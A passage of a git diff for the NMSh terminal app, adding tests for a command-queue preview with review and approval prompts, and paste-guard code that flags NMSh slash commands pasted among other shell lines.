a/tests/commandQueueLive.test.ts +++ b/tests/commandQueueLive.test.ts @@ -68,7 +68,10 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { frontend.pty.write(`${line}\r`); await pause(80); } - await frontend.waitFor(/≡ Queued \(5\) · next: cd sub/u, mark); + // Room for the list (30 rows): what runs next, in order. + // (A redraw writes only the rows that changed, so the header and the list rows are checked apart.) + await frontend.waitFor(/├─ next {2}cd sub/u, mark); + await frontend.waitFor(/≡ Queue · 5 pending/u, mark); assert.match(drawn(frontend, mark), /Enter queues the next command · Ctrl\+S sends to sh/u, 'the empty composer says what Enter does'); writeFileSync(release, ''); await frontend.waitFor(/STATE sub kept fn-x (?:opt|on)/u, mark, 30_000); @@ -92,8 +95,9 @@ test('live: a failed command pauses the queue with its reason; nothing after it frontend.pty.write(`sh -c 'sleep 1; exit 3'\r`); await frontend.waitFor(/Running sh -c/u, mark); frontend.pty.write(`touch ${marker}\r`); - await frontend.waitFor(/Queue paused: sh -c 'sleep 1; exit 3' failed \(exit 3\)\. 1 waiting · \/queue to resume or clear/u, mark, 20_000); - await frontend.waitFor(/⏸ Queue paused · sh -c 'sleep 1; exit 3' failed \(exit 3\) · 1 waiting/u, mark); + // Said once where it happened; the queue's row carries what waits and what to do, not the same sentence again. + await frontend.waitFor(/Queue paused: sh -c 'sleep 1; exit 3' failed \(exit 3\)\./u, mark, 20_000); + await frontend.waitFor(/⏸ Queue paused · 1 pending[\s\S]*Enter to review before anything runs · \/queue/u, mark); await pause(1500); assert.equal(existsSync(marker), false, 'the follow-up did not run blindly'); // A command typed at the prompt still runs at once; the paused queue keeps waiting. @@ -286,7 +290,7 @@ test('live: the queue belongs to the session: it survives detach and reattach an await first.waitFor(/Running sleep 4/u, mark); first.pty.write(`touch ${marker}\r`); first.pty.write('sleep 6\r'); - await first.waitFor(/≡ Queued \(2\)/u, mark); + await first.waitFor(/≡ Queue · 2 pending/u, mark); const [session] = await sandbox.sessions(); first.pty.kill('SIGKILL'); await until(async () => (await sandbox.sessions()).find(item => item.id === session!.id)?.state === 'detached', 15_000, 'detached'); diff --git a/tests/queueConditionsLive.test.ts b/tests/queueConditionsLive.test.ts index f02f821c..91f16f1b 100644 --- a/tests/queueConditionsLive.test.ts +++ b/tests/queueConditionsLive.test.ts @@ -52,7 +52,7 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { frontend.pty.write('w'); await frontend.waitFor(/asks first/u, mark); frontend.pty.write('\u001b'); - await frontend.waitFor(/next needs your approval: touch/u, mark, 20_000); + await frontend.waitFor(/next needs your approval[\s\S]*touch/u, mark, 20_000); await pause(1500); assert.equal(existsSync(marker), false, 'nothing runs while it waits for approval'); mark = frontend.mark; diff --git a/tests/queuePreview.test.ts b/tests/queuePreview.test.ts new file mode 100644 index 00000000..4933beca --- /dev/null +++ b/tests/queuePreview.test.ts @@ -0,0 +1,123 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import type {QueueEntry, QueueState} from '../src/session/CommandQueue.js'; +import {queueBlock, queueRow} from '../src/status/queueStatus.js'; +import {planScreen, regionOf, withQueueRows, type ScreenPlanInput} from '../src/app/screenPlan.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; + +/** + * The queue preview near the composer: what runs next and in what order, without opening /queue; the inline review + * a first empty Enter arms; and the screen plan rows it takes from the transcript's view, never from the shell's PTY. + */ +function withEnv(patch: Record, run: () => T): T { + const saved = Object.fromEntries(Object.keys(patch).map(name => [name, process.env[name]])); + for (const [name, value] of Object.entries(patch)) { if (value === undefined) delete process.env[name]; else process.env[name] = value; } + try { return run(); } finally { + for (const [name, value] of Object.entries(saved)) { if (value === undefined) delete process.env[name]; else process.env[name] = value; } + } +} + +const entry = (id: number, text: string, extra: Partial = {}): QueueEntry => ({id, text, addedAt: id, ...extra}); +const five: QueueState = {entries: [entry(1, 'npm run build'), entry(2, 'npm test'), entry(3, 'git status', {condition: 'always'}), entry(4, 'git push'), entry(5, 'open .')]}; +const plain = (rows: string[] | undefined) => rows?.map(stripAnsi); + +test('preview: up to three commands in run order, then +N more; one plain entry stays one line', () => { + withEnv({NO_COLOR: undefined, NMSH_ICONS: undefined, TERM: 'xterm-256color'}, () => { + assert.deepEqual(plain(queueBlock(five, 80, 5)), [ + '╭─ ≡ Queue · 5 pending', + '├─ next npm run build', + '├─ 2 npm test', + '├─ 3 git status · runs even after a failure', + '╰─ +2 more · /queue', + ]); + // Less room: fewer commands, and the footer still says how many are not shown. + assert.deepEqual(plain(queueBlock(five, 80, 3)), ['╭─ ≡ Queue · 5 pending', '├─ next npm run build', '╰─ +4 more · /queue']); + // Three or fewer: the last listed command closes the list. + assert.deepEqual(plain(queueBlock({entries: five.entries.slice(0, 2)}, 80, 5)), ['╭─ ≡ Queue · 2 pending', '├─ next npm run build', '╰─ 2 npm test']); + assert.equal(queueBlock({entries: [entry(1, 'ls')]}, 80, 5), undefined, 'one plain entry: the one-line row says it all'); + assert.equal(queueBlock(five, 80, 1), undefined, 'no room for a listed command'); + // Multi-line entries show their first line and how many more lines run with it. + assert.match(plain(queueBlock({entries: [entry(1, 'cd build &&\nmake\nmake install'), entry(2, 'ls')]}, 80, 5))![1]!, /next {2}cd build && \(\+2 lines\)$/u); + }); +}); + +test('preview: a paused queue and an entry that asks first say so in the header; the hint appears only when offered', () => { + withEnv({NO_COLOR: undefined, NMSH_ICONS: undefined, TERM: 'xterm-256color'}, () => { + const paused: QueueState = {...five, paused: {reason: 'interrupted', at: 1, command: 'sleep 10'}}; + const rows = plain(queueBlock(paused, 80, 5, {affordance: 'resume'}))!; + assert.equal(rows[0], '╭─ ⏸ Queue paused · 5 pending'); + assert.equal(rows[1], '├─ 1 npm run build', 'paused: nothing is "next" until it resumes'); + assert.equal(rows.at(-1), '╰─ +2 more · Enter to review before anything runs · /queue'); + assert.equal(plain(queueBlock(paused, 80, 5))!.at(-1), '╰─ +2 more · /queue', 'no hint where Enter would not review (a command runs, a draft is typed)'); + const asks: QueueState = {entries: [entry(1, 'rm -r build', {condition: 'approve'}), entry(2, 'make')]}; + const ask = plain(queueBlock(asks, 80, 5, {affordance: 'approve'}))!; + assert.equal(ask[0], '╭─ ≡ Queue · next needs your approval', 'the same words as the one-line row'); + assert.equal(ask[1], '├─ next rm -r build · asks first'); + assert.equal(ask.at(-1), '╰─ Enter to review it · /queue'); + }); +}); + +test('review: the whole command that will run, and exactly what each key does', () => { + withEnv({NO_COLOR: undefined, NMSH_ICONS: undefined, TERM: 'xterm-256color'}, () => { + const asks: QueueState = {entries: [entry(1, 'cd build\nrm -rf out\nmake', {condition: 'approve'}), entry(2, 'make test')]}; + assert.deepEqual(plain(queueBlock(asks, 80, 7, {review: 'approve'})), [ + '╭─ Approve and run this command?', + '├─ cd build', + '│ rm -rf out', + '│ make', + '╰─ Enter or y approves · n not now · e edits · Esc', + ]); + // Too long to show whole: it says how much is not shown, and how to see it before approving. + const long = plain(queueBlock({entries: [entry(1, Array.from({length: 9}, (_, i) => `step ${i}`).join('\n'), {condition: 'approve'})]}, 80, 5, {review: 'approve'}))!; + assert.equal(long.length, 5); + assert.equal(long[3], '│ … 7 more lines · e shows all'); + const resume = plain(queueBlock({...five, paused: {reason: 'failed', at: 1, command: 'make', exitCode: 2}}, 80, 5, {review: 'resume'}))!; + assert.equal(resume[0], '╭─ ⏸ Resume the queue? 5 pending'); + assert.equal(resume.at(-1), '╰─ +2 more · Enter resumes · Esc keeps it paused · e edits next'); + // The one-line forms say the same. + assert.match(stripAnsi(queueRow(asks, 100, {review: 'approve'})!), /^Approve and run: cd build \(\+2 lines\) · Enter or y approves · n not now · e edits · Esc$/u); + assert.match(stripAnsi(queueRow({...five, paused: {reason: 'user', at: 1}}, 100, {affordance: 'resume'})!), /^⏸ Queue paused · 5 waiting · Enter to review · \/queue$/u); + }); +}); + +test('preview: narrow widths, NO_COLOR and Safe glyphs stay aligned and legible', () => { + withEnv({NO_COLOR: '1', NMSH_ICONS: 'safe'}, () => { + const rows = queueBlock(five, 60, 5)!; + assert.doesNotMatch(rows.join(''), /\u001b\[38;/u, 'no color under NO_COLOR'); + assert.deepEqual(rows.map(row => stripAnsi(row).slice(0, 2)), ['+-', '|-', '|-', '|-', "'-"], 'ASCII connectors in the same columns'); + assert.equal(stripAnsi(rows[1]!).indexOf('npm'), stripAnsi(rows[2]!).indexOf('npm'), 'commands line up under each other'); + }); + withEnv({NO_COLOR: undefined, NMSH_ICONS: undefined, TERM: 'xterm-256color'}, () => { + for (const columns of [24, 30, 40, 60]) { + for (const row of queueBlock(five, columns, 5, {affordance: 'resume'}) ?? []) assert.ok(displayWidth(stripAnsi(row)) <= columns, `${columns}: ${stripAnsi(row)}`); + } + assert.equal(queueBlock(five, 20, 5), undefined, 'too narrow for a list: the one-line row stays'); + for (const columns of [12, 20, 40]) assert.ok(displayWidth(stripAnsi(queueRow({...five, paused: {reason: 'user', at: 1}}, columns, {affordance: 'resume'})!)) <= columns); + }); +}); + +test('geometry: the list takes rows from the transcript view, right after the activity region; the PTY never resizes', () => { + const base: ScreenPlanInput = {rows: 30, inputRows: 1, suggestions: 0, running: true, detached: false, hasOutput: true, + contextPlacement: 'header', hasVisibleContext: true, composerLayout: 'twoLine', transcriptRows: 200}; + for (const composerPosition of ['bottom', 'top', 'flow'] as const) { + const plan = planScreen({...base, composerPosition}); + const listed = withQueueRows(plan, 4); + const activity = regionOf(listed, 'activity')!; + const queue = regionOf(listed, 'queue')!; + assert.equal(listed.ptyRows, plan.ptyRows, `${composerPosition}: the running program keeps its terminal size`); + assert.equal(queue.height, 4, composerPosition); + assert.equal(queue.top, activity.top + activity.height, `${composerPosition}: the list follows the activity region`); + assert.equal(listed.transcript.height, plan.transcript.height - 4, composerPosition); + // Regions never overlap and stay inside the screen. + const sorted = [...listed.regions].sort((a, b) => a.top - b.top); + sorted.forEach((region, index) => { if (index) assert.ok(region.top >= sorted[index - 1]!.top + sorted[index - 1]!.height, `${composerPosition}: ${region.kind} overlaps`); }); + assert.ok(sorted.at(-1)!.top + sorted.at(-1)!.height <= listed.rows); + } + // A short screen keeps at least three transcript rows; nothing at all when even that is not possible. + const short = planScreen({...base, rows: 12}); + const squeezed = withQueueRows(short, 4); + assert.equal(squeezed.transcript.height, Math.min(3, short.transcript.height)); + const tiny = planScreen({...base, rows: 9}); + assert.equal(regionOf(withQueueRows(tiny, 4), 'queue')?.height ?? 0, Math.max(0, tiny.transcript.height - 3), 'only what the transcript can spare'); + assert.equal(withQueueRows(planScreen({...base, panelRows: 10}), 4).regions.some(region => region.kind === 'queue'), false, 'a panel owns the screen'); +}); diff --git a/tests/queuePreviewLive.test.ts b/tests/queuePreviewLive.test.ts new file mode 100644 index 00000000..49cbb329 --- /dev/null +++ b/tests/queuePreviewLive.test.ts @@ -0,0 +1,175 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {existsSync, readFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {LiveSandbox, strip, until, type Frontend} from './helpers/liveFrontend.js'; + +/** + * The queue near the composer, through the real composer, PTY and session service: the expanded list while a command + * runs, a paused queue resumed from an empty Enter only after an inline review, an entry that asks first approved in + * place, and the guards: nothing runs from one key, a typed "y" is never an approval, a repeated Enter never runs + * anything twice, and a program waiting for input always keeps Enter. + */ +const supported = process.platform === 'darwin' || process.platform === 'linux'; +const pause = (ms: number) => new Promise(done => setTimeout(done, ms)); + +async function start() { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: 'zsh'}, {}); + const frontend = sandbox.launch([], {cols: 120, rows: 36}); + try { + await frontend.waitFor(/zsh/u); + await until(async () => (await sandbox.sessions()).some(session => session.lastExit !== undefined), 20_000, 'the first prompt'); + await frontend.run('echo READY', /READY/u); + return {sandbox, frontend}; + } catch (error) { + try { await sandbox.dispose(); } catch (cleanup) { throw new AggregateError([error, cleanup], 'startup and cleanup failed'); } + throw error; + } +} + +const runs = async (sandbox: LiveSandbox, command: string) => + (await sandbox.transcripts().list()).flatMap(session => session.transcript.records).filter(record => record.command === command).length; +const drawn = (frontend: Frontend, from: number) => strip(frontend.output.slice(from)); + +/** Queue `entries` behind a short sleep; the sleep then fails, so the queue pauses with them waiting. */ +async function pausedQueue(frontend: Frontend, entries: string[]) { + const mark = frontend.mark; + frontend.pty.write("sleep 2; false\r"); + await frontend.waitFor(/Running sleep 2|[A-Z][a-z]+…/u, mark); + for (const entry of entries) frontend.pty.write(`${entry}\r`); + // One plain entry stays the one-line row; more show as the list. + await frontend.waitFor(entries.length === 1 ? /Queued \(1\) · next:/u : new RegExp(`Queue · ${entries.length} pending`, 'u'), mark); + await frontend.waitFor(/Queue paused: sleep 2; false failed \(exit 1\)\./u, mark, 20_000); + await frontend.waitFor(/⏸ Queue paused · \d+ pending[\s\S]*Enter to review before anything runs/u, mark); + return mark; +} + +test('live: the running queue shows what runs next and in what order; the pause is said once', {skip: supported ? false : 'unsupported platform', timeout: 120_000}, async () => { + const {sandbox, frontend} = await start(); + try { + const mark = frontend.mark; + frontend.pty.write('sleep 3\r'); + await frontend.waitFor(/Running sleep 3|[A-Z][a-z]+…/u, mark); + for (const entry of ['echo Q1', 'echo Q2', 'echo Q3', 'echo Q4']) frontend.pty.write(`${entry}\r`); + // A redraw writes only the rows that changed: each row is checked on its own. + for (const row of [/╭─ ≡ Queue · 4 pending/u, /├─ next {2}echo Q1/u, /├─ 2 {5}echo Q2/u, /├─ 3 {5}echo Q3/u, /╰─ \+1 more · \/queue/u]) await frontend.waitFor(row, mark); + for (const entry of ['echo Q1', 'echo Q2', 'echo Q3', 'echo Q4']) await until(async () => await runs(sandbox, entry) === 1, 15_000, `${entry} once`); + // One interruption: one transcript notice; the row below carries the state, not the same sentence again. + const stop = frontend.mark; + frontend.pty.write('sleep 20\r'); + await frontend.waitFor(/Running sleep 20|[A-Z][a-z]+…/u, stop); + frontend.pty.write('echo LATER\r'); + await frontend.waitFor(/Queued \(1\)|Queue · 1 pending/u, stop); + frontend.pty.write('\u0003'); + await frontend.waitFor(/⏸ Queue paused · 1 waiting|⏸ Queue paused · 1 pending/u, stop, 20_000); + await pause(800); + const text = drawn(frontend, stop); + assert.equal(new Set(text.match(/Queue paused: sleep 20 was interrupted\./gu)).size, 1); + assert.doesNotMatch(text, /⏸ Queue paused · sleep 20/u, 'the row does not repeat why'); + } finally { await sandbox.dispose(); } +}); + +test('live: a paused queue resumes only after an inline review; Esc keeps it paused; Enter pressed again never runs anything twice', {skip: supported ? false : 'unsupported platform', timeout: 150_000}, async () => { + const {sandbox, frontend} = await start(); + try { + const marker = join(sandbox.home, 'resumed'); + await pausedQueue(frontend, [`echo X >> ${marker}`]); + // Enter arms the review; nothing runs yet. Esc leaves everything as it was. + let mark = frontend.mark; + frontend.pty.write('\r'); + await frontend.waitFor(/Resume the queue\? 1 pending[\s\S]*Enter resumes · Esc keeps it paused/u, mark); + await pause(1200); + assert.equal(existsSync(marker), false, 'one Enter never runs anything'); + frontend.pty.write('\u001b'); + await frontend.waitFor(/⏸ Queue paused · 1 pending[\s\S]*Enter to review/u, mark); + await pause(800); + assert.equal(existsSync(marker), false, 'Esc keeps it paused'); + // While the review is armed it owns the keys: other text does nothing. + mark = frontend.mark; + frontend.pty.write('\r'); + await frontend.waitFor(/Resume the queue\?/u, mark); + frontend.pty.write('zz'); + await pause(500); + assert.equal(existsSync(marker), false); + // Enter confirms, and a burst of Enters after it is not a second run or an answer for anything. + frontend.pty.write('\r\r\r'); + await until(() => existsSync(marker), 15_000, 'the queue resumes'); + await pause(2000); + assert.equal(readFileSync(marker, 'utf8'), 'X\n', 'the entry ran exactly once'); + assert.equal((await sandbox.sessions())[0]?.queued ?? 0, 0); + await frontend.run('echo AFTER', /AFTER/u); + } finally { await sandbox.dispose(); } +}); + +test('live: an entry that asks first is approved in place after its review; a typed "y" is a command, "n" pauses so typing runs', {skip: supported ? false : 'unsupported platform', timeout: 150_000}, async () => { + const {sandbox, frontend} = await start(); + try { + const approved = join(sandbox.home, 'approved'); + // Queue an entry that asks first, behind a sleep long enough to set it. + let mark = frontend.mark; + frontend.pty.write('sleep 4\r'); + await frontend.waitFor(/Running sleep 4|[A-Z][a-z]+…/u, mark); + frontend.pty.write(`touch ${approved}\r`); + await frontend.waitFor(/Queued \(1\)|Queue · 1 pending/u, mark); + frontend.pty.write('/queue\r'); + await frontend.waitFor(/Command queue[\s\S]*touch/u, mark); + frontend.pty.write('w'); + await frontend.waitFor(/runs even after a failure/u, mark); + frontend.pty.write('w'); + await frontend.waitFor(/asks first/u, mark); + frontend.pty.write('\u001b'); + await frontend.waitFor(/next needs your approval[\s\S]*Enter to review it/u, mark, 20_000); + // "y" typed into an empty composer starts a command; it never approves. + mark = frontend.mark; + frontend.pty.write('y'); + await pause(600); + assert.equal(existsSync(approved), false, 'a typed y is not an approval'); + frontend.pty.write('\u0015'); + // Enter reviews the whole command; n declines: nothing runs and the queue pauses, so commands run directly. + frontend.pty.write('\r'); + await frontend.waitFor(/Approve and run this command\?[\s\S]*touch [\s\S]*Enter or y approves · n not now/u, mark); + frontend.pty.write('n'); + await frontend.waitFor(/Not approved; the queue is paused, so your commands run directly/u, mark); + await frontend.run('echo DIRECT', /DIRECT/u); + assert.equal(existsSync(approved), false); + // Resume (review, confirm): it asks again; this time y approves exactly that entry. + mark = frontend.mark; + frontend.pty.write('\r'); + await frontend.waitFor(/Resume the queue\?/u, mark); + frontend.pty.write('\r'); + await frontend.waitFor(/next needs your approval[\s\S]*Enter to review it/u, mark, 15_000); + await pause(700); + frontend.pty.write('\r'); + await frontend.waitFor(/Approve and run this command\?/u, mark); + frontend.pty.write('y'); + await until(() => existsSync(approved), 15_000, 'the approved entry runs'); + await until(async () => await runs(sandbox, `touch ${approved}`) === 1, 15_000, 'once'); + } finally { await sandbox.dispose(); } +}); + +test('live: while a program waits for input, Enter answers it; a queued entry that asks first is never approved by it', {skip: supported ? false : 'unsupported platform', timeout: 150_000}, async () => { + const {sandbox, frontend} = await start(); + try { + const approved = join(sandbox.home, 'never'); + let mark = frontend.mark; + frontend.pty.write("read -r 'r?Answer: '; echo got=$r\r"); + await frontend.waitFor(/[Ww]aiting for input[\s\S]*Answer:/u, mark); + frontend.pty.write(`touch ${approved}\u0011`); + await until(async () => ((await sandbox.sessions())[0]?.queued ?? 0) === 1, 10_000, 'Ctrl+Q queues'); + frontend.pty.write('/queue\r'); + await frontend.waitFor(/Command queue[\s\S]*touch/u, mark); + frontend.pty.write('w'); + await frontend.waitFor(/runs even after a failure/u, mark); + frontend.pty.write('w'); + await frontend.waitFor(/asks first/u, mark); + frontend.pty.write('\u001b'); + await pause(500); + // Enter (empty, then with an answer) belongs to the reader. + mark = frontend.mark; + frontend.pty.write('yes\r'); + await frontend.waitFor(/got=yes/u, mark); + await frontend.waitFor(/next needs your approval/u, mark, 15_000); + await pause(1500); + assert.equal(existsSync(approved), false, 'answering the reader never approved the entry'); + } finally { await sandbox.dispose(); } +}); From ce63a575b63d581a11b1d346e6c5d97f1f91fdd3 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Thu, 15 Oct 2026 22:30:20 +0530 Subject: [PATCH 06/16] Paste review: name NMSh commands that would reach the shell as text A submission is NMSh's only when the whole of it is one NMSh command, so a pasted /copy, /queue or /compare among other lines went to zsh as a path (physical QA's contaminated clipboard test). The compact preview and the full review now classify those lines as NMSh commands and say, before anything is inserted or queued, that here they reach the shell as text and must be submitted alone. Nothing is reinterpreted or run differently; an absolute path and unknown slash words stay the shell's. --- src/app/TerminalApp.ts | 13 ++++++++----- src/input/PasteReview.ts | 20 ++++++++++++-------- src/input/pasteGuard.ts | 25 ++++++++++++++++++++++--- tests/queuePreview.test.ts | 17 +++++++++++++++++ 4 files changed, 59 insertions(+), 16 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 29b3917a..51fe6d1c 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -245,7 +245,7 @@ import {CursorPresenter} from '../cursor/CursorPresenter.js'; import {runDoctor} from '../doctor/doctor.js'; import {parseWatch, watchSafety, WatchTasks} from '../tasks/WatchTasks.js'; import {renderWatchPanel, watchPanelKey, watchRow, type WatchPanelState} from '../tasks/WatchPanel.js'; -import {analyzePaste, KIND_LABELS, needsPreview, PASTE_EXACT_NOTE, pasteHeader, primaryKind, type PasteAnalysis} from '../input/pasteGuard.js'; +import {analyzePaste, KIND_LABELS, needsPreview, PASTE_EXACT_NOTE, pasteHeader, primaryKind, type PasteAnalysis, nmshCommandNote} from '../input/pasteGuard.js'; import type {BatchShell} from '../input/pasteBatch.js'; import {createPasteReview, displaySafe, pasteReviewKey, renderPasteReview, type PasteReviewState} from '../input/PasteReview.js'; import {batchFromCommands, batchReviewKey, batchTexts, createBatchReview, renderBatchReview, type BatchReviewState} from '../input/BatchReview.js'; @@ -1852,7 +1852,7 @@ export class TerminalApp { if (this.pastePreview) { const preview = this.pastePreview; if (key.kind === 'enter') { this.pastePreview = undefined; this.editor.insertPaste(preview.text); this.selectedSuggestion = 0; } - else if (key.kind === 'text' && key.value.toLowerCase() === 'r') this.pasteReview = createPasteReview(preview.text, preview.analysis, preview.batch); + else if (key.kind === 'text' && key.value.toLowerCase() === 'r') this.pasteReview = createPasteReview(preview.text, preview.analysis, preview.batch, this.shellId); else if (key.kind === 'text' && key.value.toLowerCase() === 'b' && preview.batch) void this.openBatchReview(preview.text); else if (key.kind === 'text' && key.value.toLowerCase() === 'c') this.keepClip(preview.text, 'paste', this.shellCwd); else if (key.kind === 'escape' || key.kind === 'interrupt') this.pastePreview = undefined; @@ -2271,7 +2271,7 @@ export class TerminalApp { const batch = this.batchAvailable(key.value); this.pastePreview = {text: key.value, analysis, batch}; // The compact strip never squeezes the composer: when this screen has no room for it, Review is the surface. - if (!this.pasteCompactFits()) this.pasteReview = createPasteReview(key.value, analysis, batch); + if (!this.pasteCompactFits()) this.pasteReview = createPasteReview(key.value, analysis, batch, this.shellId); this.render(); return; } @@ -2956,7 +2956,7 @@ export class TerminalApp { const analysis = analyzePaste(clip.text); const batch = this.batchAvailable(clip.text); this.pastePreview = {text: clip.text, analysis, batch}; - this.pasteReview = createPasteReview(clip.text, analysis, batch); + this.pasteReview = createPasteReview(clip.text, analysis, batch, this.shellId); break; } case 'clearClips': @@ -7162,7 +7162,7 @@ export class TerminalApp { const batch = this.batchAvailable(text); this.pastePreview = {text, analysis, batch}; // An explicit /ps always shows the review first, whatever Paste Preview is set to. - this.pasteReview = createPasteReview(text, analysis, batch); + this.pasteReview = createPasteReview(text, analysis, batch, this.shellId); } /** Explicit staging only: never reads the clipboard, writes files or submits commands. */ @@ -7334,6 +7334,9 @@ export class TerminalApp { const hidden = analysis.commands.length - used; if (hidden > 0 && summary.length) summary[summary.length - 1] += `${SUBTLE} · +${hidden} more${RESET}`; for (const item of summary) rows.push(` ${item}`); + // NMSh commands among other lines reach the shell as text: say so before anything is inserted or queued. + const nmsh = nmshCommandNote(analysis, this.shellId); + if (nmsh) rows.push(`${ACCENT}${nmsh}${RESET}`); if (analysis.commands.some(command => ['text', 'unknown'].includes(primaryKind(command.kinds)))) rows.push(`${SUBTLE}${PASTE_EXACT_NOTE}${RESET}`); rows.push(`${SUBTLE}Enter insert · R review${preview.batch ? ' · B queue as commands' : ''} · Esc cancel · C keep clip${RESET}`); return rows.map(row => truncateAnsi(row, columns)); diff --git a/src/input/PasteReview.ts b/src/input/PasteReview.ts index ffb6eb74..0baa2637 100644 --- a/src/input/PasteReview.ts +++ b/src/input/PasteReview.ts @@ -1,5 +1,5 @@ import type {Key} from '../terminal/keys.js'; -import {KIND_LABELS, PASTE_EXACT_NOTE, pasteHeader, primaryKind, type PasteAnalysis, type PasteKind} from './pasteGuard.js'; +import {KIND_LABELS, nmshCommandNote, PASTE_EXACT_NOTE, pasteHeader, primaryKind, type PasteAnalysis, type PasteKind} from './pasteGuard.js'; import {renderControls} from '../ui/controls.js'; import {foreground, UI_COLORS} from '../ui/palette.js'; import {padCells, truncateAnsi} from '../util/text.js'; @@ -23,11 +23,13 @@ export interface PasteReviewState { top: number; /** The paste splits into separate commands that could be queued (offered as B). */ batch: boolean; + /** NMSh commands among several lines reach this shell as text: said above the controls (see nmshCommandNote). */ + note?: string; } export type PasteReviewResult = 'insert' | 'back' | 'cancel' | 'batch' | 'clip' | undefined; -export function createPasteReview(text: string, analysis: PasteAnalysis, batch = false): PasteReviewState { +export function createPasteReview(text: string, analysis: PasteAnalysis, batch = false, shell = 'the shell'): PasteReviewState { const lines = text.replace(/\r\n?/gu, '\n').split('\n'); const starts: Array = new Array(lines.length).fill(undefined); // Locate each command in order from where the previous one ended; display-only, linear in the paste size. @@ -44,17 +46,18 @@ export function createPasteReview(text: string, analysis: PasteAnalysis, batch = while (lineIndex + 1 < lines.length && offsets[lineIndex + 1]! <= found) lineIndex += 1; starts[lineIndex] ??= primaryKind(command.kinds); } - return {text, analysis, lines, starts, top: 0, batch}; + const note = nmshCommandNote(analysis, shell); + return {text, analysis, lines, starts, top: 0, batch, ...(note ? {note} : {})}; } /** The body rows available for source lines: header, a blank, a note row and the footer are fixed. */ -function bodyRows(height: number): number { - return Math.max(1, height - 4); +function bodyRows(height: number, state?: PasteReviewState): number { + return Math.max(1, height - 4 - (state?.note ? 1 : 0)); } export function pasteReviewKey(state: PasteReviewState, key: Key, height: number): PasteReviewResult { - const page = Math.max(1, bodyRows(height) - 1); - const max = Math.max(0, state.lines.length - bodyRows(height)); + const page = Math.max(1, bodyRows(height, state) - 1); + const max = Math.max(0, state.lines.length - bodyRows(height, state)); const move = (to: number) => { state.top = Math.max(0, Math.min(max, to)); }; if (key.kind === 'enter') return 'insert'; if (key.kind === 'escape') return 'back'; @@ -91,7 +94,7 @@ export function renderPasteReview(state: PasteReviewState, columns: number, heig const failure = foreground(UI_COLORS.failure); const reset = '\u001B[0m'; const total = state.lines.length; - const rows = bodyRows(height); + const rows = bodyRows(height, state); const top = Math.max(0, Math.min(state.top, Math.max(0, total - rows))); const last = Math.min(total, top + rows); const numberWidth = String(total).length; @@ -105,6 +108,7 @@ export function renderPasteReview(state: PasteReviewState, columns: number, heig out.push(truncateAnsi(` ${subtle}${String(index + 1).padStart(numberWidth)}${reset} ${label}${kind === 'text' ? subtle : secondary}${displaySafe(state.lines[index]!)}${reset}`, columns)); } const exact = state.analysis.commands.some(command => primaryKind(command.kinds) === 'text' || primaryKind(command.kinds) === 'unknown'); + if (state.note) out.push(truncateAnsi(` ${accent}${state.note}${reset}`, columns)); out.push(truncateAnsi(` ${subtle}${exact ? PASTE_EXACT_NOTE : 'Nothing runs until you press Enter again.'}${reset}`, columns)); out.push(renderControls([['↑↓ PgUp PgDn', 'scroll'], ['Enter', 'insert'], ...(state.batch ? [['B', 'queue as commands'] as const] : []), ['Esc', 'back'], ['C', 'keep clip']])); // A very short terminal drops the note before the controls; the panel never exceeds its height. diff --git a/src/input/pasteGuard.ts b/src/input/pasteGuard.ts index 57881c97..99ad06dd 100644 --- a/src/input/pasteGuard.ts +++ b/src/input/pasteGuard.ts @@ -1,3 +1,4 @@ +import {parseSlashCommand} from '../commands/slashCommands.js'; /** * Paste Preview / Paste Guard. Ordinary single-line pastes insert at once; * a paste that is multiline, chains several commands, mutates, destroys, @@ -6,7 +7,7 @@ * Review / Cancel. Classification is for display only: what is inserted is * exactly what was pasted, and nothing runs until the person presses Enter. */ -export type PasteKind = 'text' | 'unknown' | 'navigation' | 'read' | 'project' | 'network' | 'install' | 'modifies' | 'destructive' | 'privilege' | 'pipeline'; +export type PasteKind = 'text' | 'unknown' | 'navigation' | 'read' | 'project' | 'network' | 'install' | 'modifies' | 'destructive' | 'privilege' | 'pipeline' | 'nmsh'; export interface PasteCommand { /** The command's text as written (display only). */ @@ -147,6 +148,9 @@ function packageKinds(command: string, sub: string, rest: string[]): PasteKind[] } export function classifyCommand(text: string, pipedFrom: boolean): PasteKind[] { + // An NMSh command (/copy, /queue, /compare): NMSh's only when submitted on its own (see nmshCommandNote). + const slash = parseSlashCommand(text.trim()); + if (slash && slash.kind !== 'unknown') return ['nmsh']; if (looksLikeProse(text)) return ['text']; const all = words(text); // Leading env assignments and sudo-like prefixes. @@ -214,12 +218,12 @@ export function needsPreview(analysis: PasteAnalysis, mode: PastePreviewMode): b || analysis.commands.some(command => command.kinds.some(kind => ATTENTION.has(kind) || kind === 'modifies' && command.kinds.includes('network'))); } -export const KIND_LABELS: Record = {text: 'plain text', unknown: 'unrecognized shell input', navigation: 'navigation', read: 'read-only', project: 'runs project script', +export const KIND_LABELS: Record = {nmsh: 'NMSh command', text: 'plain text', unknown: 'unrecognized shell input', navigation: 'navigation', read: 'read-only', project: 'runs project script', network: 'network', install: 'installs packages', modifies: 'modifies files', destructive: 'destructive', privilege: 'runs as root', pipeline: 'runs downloaded code'}; /** The most important classification of a command, for its one-word label. */ export function primaryKind(kinds: readonly PasteKind[]): PasteKind { - const order: PasteKind[] = ['pipeline', 'destructive', 'privilege', 'install', 'modifies', 'network', 'project', 'navigation', 'read', 'unknown', 'text']; + const order: PasteKind[] = ['pipeline', 'destructive', 'privilege', 'install', 'modifies', 'network', 'project', 'nmsh', 'navigation', 'read', 'unknown', 'text']; return order.find(kind => kinds.includes(kind)) ?? 'unknown'; } @@ -234,5 +238,20 @@ export function pasteHeader(analysis: PasteAnalysis): string { return `pasted · ${lead}${text ? ` · ${count(text, 'text line')}` : ''}${size}`; } +/** + * NMSh commands inside a paste of several lines: the parser gives a submission to NMSh only when the whole of it is one + * NMSh command, so with other lines (inserted or queued) these reach the shell as text, which runs `/copy` as a path. + * Said before anything is submitted; nothing is 